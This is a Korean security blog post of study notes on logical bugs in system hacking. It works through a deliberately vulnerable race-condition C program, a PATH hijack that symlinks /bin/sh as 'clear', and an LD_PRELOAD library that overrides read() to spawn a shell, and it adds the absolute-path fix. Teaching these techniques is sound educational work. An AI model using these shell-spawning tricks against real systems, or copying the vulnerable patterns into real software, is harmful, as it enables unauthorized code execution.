본문 바로가기

Security

[systemhacking] logical bugs

반응형

race condition 

#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int len;
void giveshell() {
    system("/bin/sh");
}
void * t_function() {
    int i = 0;
    while (i < 10000000) {
        len++;
        i++;
        sleep(1);
    }
}
int main() {
    char buf[4];
    int gogo;
    int idx;
    pthread_t p_thread;
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    while (1) {
        printf("1. thread create\n");
        printf("2. read buffer\n");
        printf("> ");
        scanf("%d", &idx);
        switch (idx) {
        case 1:
            pthread_create( &p_thread, NULL, t_function, (void * ) NULL);
            break;
        case 2:
            printf("len: ");
            scanf("%d", &len);
            if(len > sizeof(buf)) {
                exit(0);
            }
            sleep(4);
            printf("Data: ");
            read(0, buf, len);
            printf("Len: %d\n", len);
            printf("buf: %s\n", buf);
            break;
        case 3:
            if (gogo == 0x41414141) {
                giveshell();
            }
        }
    }
    return 0;
}

 

코드 분석

  • buf size가 4이기 때문에 len이 4보다 클 때 exit(0) 수행됨.
  • len에 4를 입력하면 if 조건을 건너 뛸 수 있고, sleep하는 동안 len은 계속 증가함.
  • BBBBAAAA를 입력하면 (AAAA는 hex로 0x41414141) len은 이미 커졌기 때문에 
  • 뒷 변수인 gogo를 AAAA로 덮어쓸 수 있음.

 

※ 스택 할당 배치 순서상 gogo가 더 위에 깔리지만 컴파일러에 의해 자동 조절될 수 있다.

 


환경 변수 공격 - PATH

export는 환경 변수 목록을 확인하거나 환경 변수 값 설정 가능.

environ1.c

#include <stdlib.h>
#include <unistd.h>
int main()
{
    printf("Screen Cleaner\n");
    system("clear");
         
    return 0;
}
$ export PATH=""
$ ./environ1
Screen Cleaner
sh: 1: clear: not found

PATH 초기화하고 environ1 실행 시 clear 파일을 못찾고 실행 오류 발생.

$ ln -s /bin/sh ./clear
$ export PATH=""
$ ./environ1
Screen Cleaner
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)

ln -s [원본 파일] [심볼릭 링크 이름]

PATH 비워주고 실행하면 찾지 못하고 심볼릭 링크를 따라 /bin/sh 이 실행되어 셸 획득함

/ 로 시작하는 절대경로를 사용해야 익스플로잇 불가능

system("/usr/bin/clear");

PATH랑 별개로 절대 경로에서 찾아가므로.

파일명만 있는 것은 상대경로로 들어간다.


환경 변수 공격 - LD_PRELOAD

#include <stdlib.h>
void read() {
	execve("/bin/sh", 0, 0);
}

gcc -o libc.so libc.c -fPIC -shared

공유 라이브러리 만들어 둠.

#include <unistd.h>
#include <stdio.h>
int main()
{
	char buf[16];
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	write(1, "Data:", 5);
	read(0, buf, sizeof(buf)-1);
	
	write(1, "GOOD", 4);
        return 0;
}

write와 read 호출 시에 /lib/x86_64-linux-gnu/libc.so.6 라이브러리 파일 로딩함.

$ export LD_PRELOAD="./libc.so"
$ ./environ2

하지만 이렇게 LD_PRELOAD로 라이브러리 로딩 루트를 변경하면

read시에 execve로 /bin/sh 실행됨.

 

execve("/bin/sh", 0, 0);

  • 첫번째 파일 실행, argv[]와 envp[]를 인자로 전달함.
반응형

'Security' 카테고리의 다른 글

register & system call  (0) 2021.11.26
[systemhacking] ELF 동적 디버깅  (0) 2021.11.24
[systemhacking] Uninitialized value  (0) 2021.11.22
[systemhacking] Buffer overflow c++  (0) 2021.11.22
[systemhacking] Integer Issues  (0) 2021.11.22